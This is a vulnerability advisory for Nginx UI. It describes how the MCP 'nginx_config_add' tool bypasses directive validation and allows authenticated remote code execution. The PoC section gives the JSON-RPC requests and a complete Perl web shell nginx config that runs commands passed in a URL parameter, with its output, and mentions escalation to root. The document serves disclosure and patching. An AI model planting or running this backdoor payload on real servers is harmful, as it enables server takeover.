CVE-2026-84318: Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE

### Summary The MCP tool `nginx_config_add` writes nginx configuration files to disk and triggers an nginx reload without calling `config.ValidateConfigFile`. The identical flow in the REST API (`POST /api/configs`) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (`perl`, `js_import`, `load_module`, `user root`, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution. ### Details `api/config/add.go` (line 46) calls `config.ValidateConfigFile` before writing: ```go err = config.ValidateConfigFile(path, content) // validates directives, checks blocklist if err != nil { cosy.ErrHandler(c, err) return } ``` `mcp/config/config_add.go` (line 79) omits that call entirely and writes directly: ```go err = os.WriteFile(path, []byte(content), 0644) // no ValidateConfigFile, no blocklist check ... res := nginx.Control(nginx.Reload) // reload triggered immediately ``` `config.ValidateConfigFile` runs two checks: - **`ValidateConfigContent`** — rejects control characters, enforces encoding. - **`ValidateConfigDirectives`** — rejects a blocklist of dangerous directives: `perl`, `perl_modules`, `perl_require`, `perl_set`, `js_import`, `js_set`, `js_content`, `load_module` (restricted modules), `user root`, and others. Neither check runs on the MCP path. Note that `mcp/config/config_modify.go` does call `ValidateConfigFile` correctly — only `config_add.go` is affected. The MCP endpoint (`GET /mcp` SSE + `POST /mcp_message` JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session. ### PoC **1 — Control: confirm REST API blocks the payload** ``` POST /api/configs Authorization: <token> { "name": "rce.conf", "base_dir": "conf.d", "content": "<perl config below>", "overwrite": true } ``` Response: ``` HTTP 500 scope=config code=40017 message: file content contains restricted nginx directive: {0} ``` `ValidateConfigDirectives` rejects `perl` — the REST API is working as intended. **2 — Open MCP SSE session** ``` GET /mcp Authorization: <token> Accept: text/event-stream ``` Extract `sessionId` from the `endpoint` event. **3 — MCP initialize handshake** ``` POST /mcp_message?sessionId=<id> { "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "1.0" } } } ``` **4 — Call `nginx_config_add` with the identical blocked payload** ``` POST /mcp_message?sessionId=<id> { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "nginx_config_add", "arguments": { "name": "rce_backdoor.conf", "base_dir": "conf.d", "overwrite": true, "content": "server {\n listen 8888;\n\n location /rce {\n perl 'sub {\n my $r = shift;\n my ($cmd) = ($r->args =~ /(?:^|&)cmd=([^&]*)/);\n $cmd ||= \"id\";\n $r->send_http_header(\"text/plain\");\n $r->print(qx($cmd 2>&1));\n return OK;\n }';\n }\n}\n" } } } ``` Response (`HTTP 200 OK`) — file written to `/etc/nginx/conf.d/rce_backdoor.conf`, nginx reloaded automatically: ```json { "jsonrpc": "2.0", "id": 2, "result": { "content": [ { "type": "text", "text": "{\"content\":\"...\",\"file_path\":\"/etc/managed-nginx/conf.d/rce_backdoor.conf\",\"name\":\"rce_backdoor.conf\"}" } ] } } ``` The `perl` directive — explicitly listed in `blockedConfigDirectives` and rejected by the REST API — passes through without any check. **5 — Trigger RCE** ``` GET http://<target>:8888/rce?cmd=id ``` ``` uid=101(nginx) gid=101(nginx) groups=101(nginx) ``` ### Impact Any authenticated user (valid JWT or node-secret) can write an nginx configuration file containing any directive from the security blocklist. nginx-ui reloads nginx automatically after the write, activating the malicious config immediately. No further interaction is required. On servers running nginx with the Perl module (`nginx:mainline-perl`) or nginx+njs, this results in arbitrary OS command execution running as the nginx worker user. Combined with a `user root;` directive (also unblocked via this path), the worker process can be escalated to root before the RCE handler fires.